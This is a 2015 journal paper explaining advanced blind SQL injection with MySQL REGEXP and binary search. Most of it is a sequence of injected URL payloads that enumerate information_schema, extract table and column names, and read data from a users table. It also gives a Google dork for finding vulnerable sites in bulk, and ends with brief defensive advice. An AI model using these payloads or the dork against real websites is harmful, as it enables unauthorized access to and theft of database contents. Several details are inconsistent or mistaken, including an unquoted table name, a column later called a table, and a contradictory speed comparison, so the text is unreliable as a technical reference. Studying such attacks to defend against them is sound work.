International Journal of Engineering Research and General Science Volume 3, Issue 3, May-June, 2015
ISSN 2091-2730

Understanding Advanced Blind SQLI attack

Amit Dabas, Ashish Kumar Sharma

Cyber Forensics & Information Security, MDU,amitdab@gmail.com,+918588831807

Abstract— *SQL Injection is not new attack to our web applications and because of its awareness now it's on decline every year but still advanced SQL injections are getting introduced and effecting the web applications constantly. In this paper we will analyze an example of Advanced Blind SQL injection with improved query structure using regular expressions which has made blind SQL injection faster and more effective than normal Blind Injection. Better we understand an attack better we find its cure*.

Keywords— Advanced SQL Injection, Blind SQL Injection, Blind SQL Injection with Example, Blind SQL Injection with Regular expressions attack, Input validation, Advance SQL Attack, Binary search SQLI.

INTRODUCTION

Firstly we have discussed simple SQL injection. SQL injection came as soon our database based applications started flourishing on World Wide Web. These attacks are basically unauthorized access of database through URL or Input methods which have a connection with database to show or connect client with the data. So mainly it is a mistake in coding by developers who does not parameterized input data or security check and accepts data from client which can modify, extract or delete data.

Advance Google search has been of great help for such attackers as they use it for finding SQLI attack vulnerable websites. In vulnerability test attacker pass extra data or modify current URL so the query at backend changed and if any error comes due to this modification the website is considered as vulnerable.

If an application does not return error messages, it may be susceptible to our advanced blind SQL injection attacks.

1. Finding vulnerable websites:

Google dorks can be of great help if we need to search SQLI vulnerable websites when we do not have specific website to attack or need to find many websites together.
Example:

In Google search Input box we enter query => site:.com inurl:.php?id=

Result will be all such websites which may be using id to call some data from database and satisfying our conditions. Web applications commonly use SQL queries with client-supplied input in the WHERE clause to retrieve data from a database. By adding additional conditions to the SQL statement and evaluating the web application's output, you can determine whether or not the application is vulnerable to SQL injection. Finding vulnerability is our first step which determines what type of attack we use.

For example, A URL for accessing the products of a company might look like this:
http://www.abc.com/xyz.php?productID=35

SQL query statement used by the developers for fetching the data from the given website for example would be like this

SELECT * from products where product id=35

Database will result the products and they will appear on the web page.

To determine the application is vulnerable or not to SQL injections, try injecting an extra true condition into the WHERE clause. If we request an URL

http://www.a.com/xyz.php?news=35and5=5—

The query would become

SELECT * from news where news id=35 and 5=5

so, here if the query returns the same page, then the application is susceptible to SQL injection. Part of the user's input is interpreted as SQL code.

A secure application would reject this request because it would treat the user's input as a value, and the value "5 AND 1=1" would cause a type mismatch error. The server would not display a press release.

2. Advanced blind SQL injection using regular expression

This attack is combination of guess and binary search algorithm as we need to guess the name of table but using REGEXP our search criteria follows binary algorithm as it will give options from A-Z and so on till exact word doesn't match. As we use binary search algorithm in this attack that saves us time in comparison to normal blind attacks or we can say straightaway half the searches get reduced by binary search algorithm.

2.1 REGEXP attack's methodology

This is fast attack to extract information from a database. With this we can save a lot of time and bandwidth as its methodology is simple. We define a range of numbers/chars/special chars that will be matched with REGEXP (MySQL) or LIKE (MSSQL) functions. It is a pattern matching operation based on regular expressions and the **REGEXP** operator. It is a powerful way of specifying a pattern for a complex search. So this attack is guessing of table names or column names but using a pattern match method available in MySQL similarly if we need to do this in MSSQL we can use LIKE function but REGEXP is considered powerful function when it comes to search in complex data. Let's start with an example.

2.2 Finding if tables exist in database

First of all we check that database have tables or not by using following blind attack if it results as no change in web page then tables exist if it shows error then it's not vulnerable to blind attack or no tables in database in that case we can study the error displayed for other kind of SQL attacks. As we know INFORMATION_SCHEMA are the views which allows us to retrieve metadata about the objects within a database that's why we use INFORMATION_SCHEMA for guessing and searching of user made tables in database.

http://www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.table_constraints limit 0,1) --

Here we used TABLE_CONSTRAINTS with INFORMATION_SCHEMA so that only user made table can be tested otherwise it will attack on all tables and all databases have few default tables which an attacker won't like to use so TABLE_CONSTRAINTS saves time for attacker by providing only user made tables .After looking for available tables in database comes our next step.

2.3 Extracting table name

So Next we find table names using guess method for example if we think there will be database named as USER then first we try U and other words in regexp range so exact name can be extracted. This guess method depends on the attacker as which table he/she want to access if an attacker want to find username or password containing table then he will guess the name accordingly.

http://www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.table_constraints where table_name regexp '^[a-z]' limit 0,1) –

Above query searched for the table name from 'A-Z' range if it results true that mean our table name starts with an alphabet and we reduce the range like a Boolean search method searching in two parts from 'A-M' & 'N-Z' and keep repeating the query till we gets single character which would be first letter of our table name though if it results false we can try numeric range too. In this case we know that the first matched record start with a char between [a -> z] this example will show you how to extract the complete name of the record [1]:
http://www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.table_constraints where table_name regexp '^u[a-z]' limit 0,1) –

If we have found first character of our table then we follow same method to find other charcters so if it's true we try next query

http://www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.table_constraints where table_name regexp '^us[a-z]' limit 0,1) –

Similarly we follow till we don't get FALSE

http://www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.table_constraints where table_name regexp '^users[a-z]' limit 0,1) –

Above query results false as the table name is USERS so we extracted the table name USERS. If we don't want to use guess and search method we simply use search method where like our binary search the range of REGEXP keep on dividing itself in half till we don't find one word.

2.4 Extracting Column name

Similar after our table name guess and search method we extract column name with following query

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[a-z]' limit 0,1) –

SO either we use guess and search or direct search with REGEXP here we used search only without any guess so after first true query we divided it from middle and keep searching exact word like our table guess.

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[a-m]' limit 0,1) –

If the result of the above query comes true we divide it further till we reach an output

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[a-f]' limit 0,1) –

True

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[a-c]' limit 0,1) –

False

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[d-f]' limit 0,1) –

True

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[f]' limit 0,1) –

True

So we have found first letter 'f' similarly other letters can be found but if another table starts with the same first letter or not we can check by changing our limit

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[f]' limit 1,1) –

False

There are no more tables that start with 'f'. From now on we must change the regular expression like this:

'^f[a-z]' -> '^fi[a-z]' -> '^fir[a-z]' -> '^first[a-z]' -> FALSE

When we get FALSE in end that mean that's the complete name of our table which we will use further to extract data. It is repetitive method after finding first character we keep repeating our expression till we gets complete table name.

2.5 Extracting value from database

We continue to follow same method but now we have name of our able and column so we can use them to extract value from column which becomes easier now by availability of basic information of our database.

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from users where First regexp '^[a-z]' limit 0,1) –

True

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from users where First regexp '^[a-m]' limit 0,1) --

False

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from users where First regexp '^[n-z]' limit 0,1) --

True

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from users where First regexp '^[t-z]' limit 0,1) --

True

If we need to attack MSSQL, the syntax becomes more complicated because in MSSQL LIMIT and REGEXP are not present. To bypass it, we must use TOP and LIKE functions. [1]

3. Precautions

Precaution is best cure same comes in SQL attacks as we know it happens to be developer's mistakes or ignorance in input validation which causes most of SQLI attacks when it is about advanced SQLI attack security few precautions are must for our web application security.

- White List Input Validation: Stop the enemy at your door it is input filtration method to validate or detect unauthorized input before it is processed by the application.
- Checking Input Type: Easy for developers to do but very basic step to stop wrong or malicious input types to be entered in our input boxes.[2]
- Escape database Meta characters: use / in order to escape database Meta characters by prepending / in front of Meta characters.[2]
- Taking care of Headers as well as query string to be passed in our database.[2]
- Parameterized Queries: Till date parameterized queries are best prevention from any kind of SQL Injection.

4. Comparison between normal and REGEXP base blind SQLI attack

It is been very clearly mentioned in IHTEAM Paper that in MD5 case. We must export a hash of 32 chars using a blind SQL injection. We know that there are only 16 chars to be tested (1234567890abcdef) though in an optimistic case, Regexp and normal blind need 32 query to be done. [1]

While if we compare Regexp Blind SQLI Attack with normal SQLI attacks its more time consuming around 10x more time consuming then the basic and in a worst-case, Regexp need 128 query and normal blind need 512 query[1]. But when we compare this advanced blind SQLI attack to normal attacks we get to know the time difference and efficiency. Most of the developers , who are in

early stage of developing just consider basic steps for security of website from SQLI attacks such websites if targeted with no time limit then Blind SQLI with Regexp is very effective but if attackers are looking for mass attack then blind SQLI will be difficult to perform.

5. Conclusion

With comparison of REGEXP base and normal blind SQL we have found that this new method is effective and fast for hacking so our web applications with database need to be more secure as only hiding of database errors won't work with the advanced SQLI attacks. As in the other referenced papers it is mentioned about blind SQLI using regular expressions but by guessing schema name as we approached more and more concise results with default INFORMATION_SCHEMA methodology.

REFERENCES:

[1] Blind Sql Injection with Regular Expressions Attack:IHTEAM
[2] Full MSSQL Injection PWNage: ZeQ3uL && JabAv0C cwh.citec.us
[3] Guimarães, B. D., "Advanced SQL Injection to Operating System Full Control," Black Hat Europe, white paper, April 2009
[4] Sagar Joshi (2005): SQL injection attack and defense: Web Application and SQL injection. http://www.securitydocs.com/library/3587
[5] William G.J. Halfond, Jeremy Viegas, and Alessandro Orso (2006): A Classification of SQL Injection Attacks and Countermeasures. IEEE Conference.
[6] "SQL Injection Are Your Web Applications Vulnerable?". SPI Dynamics. 2002.
[7] http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf